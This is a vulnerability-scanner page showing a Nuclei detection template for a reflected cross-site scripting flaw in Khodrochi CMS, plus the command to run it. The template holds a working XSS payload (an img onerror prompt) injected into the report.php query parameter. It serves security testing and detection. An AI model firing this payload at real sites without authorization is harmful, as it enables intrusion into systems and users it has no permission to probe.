Skip to content

Khodrochi CMS - Cross Site Scripting

ID: khodrochi-cms-xss

Severity: medium

Author: r3Y3r53

Tags: khodrochi,cms,xss

A cross site scripting vulnerability was found in the Khodrochi.ir CMS an Iranian Car Services Platform.

id: khodrochi-cms-xss
info:
name: Khodrochi CMS - Cross Site Scripting
author: r3Y3r53
severity: medium
description: |
A cross site scripting vulnerability was found in the Khodrochi.ir CMS an Iranian Car Services Platform.
reference:
- https://www.exploitalert.com/view-details.html?id=38723
- https://cxsecurity.com/ascii/WLB-2022050087
metadata:
verified: true
max-request: 1
tags: khodrochi,cms,xss
http:
- method: GET
path:
- "{{BaseURL}}/specification/report.php?q=%22%3E%3Cimg%20src=x%20onerror=prompt(document.domain)%3E"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(header, "text/html")'
- 'contains(body, "class=\"cons_form") && contains(body, "><img src=x onerror=prompt(document.domain)>")'
condition: and
# digest: 4a0a0047304502210097cfaac69253ffcef1527910c2af2839b6fc896fd6ed5a563947e38dab8a1a480220483e4d9229e649fb9e13adb5e1d64a04a19f82e1158419b4a0ebeee1f6f07c46:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/khodrochi-cms-xss.yaml"

View on Github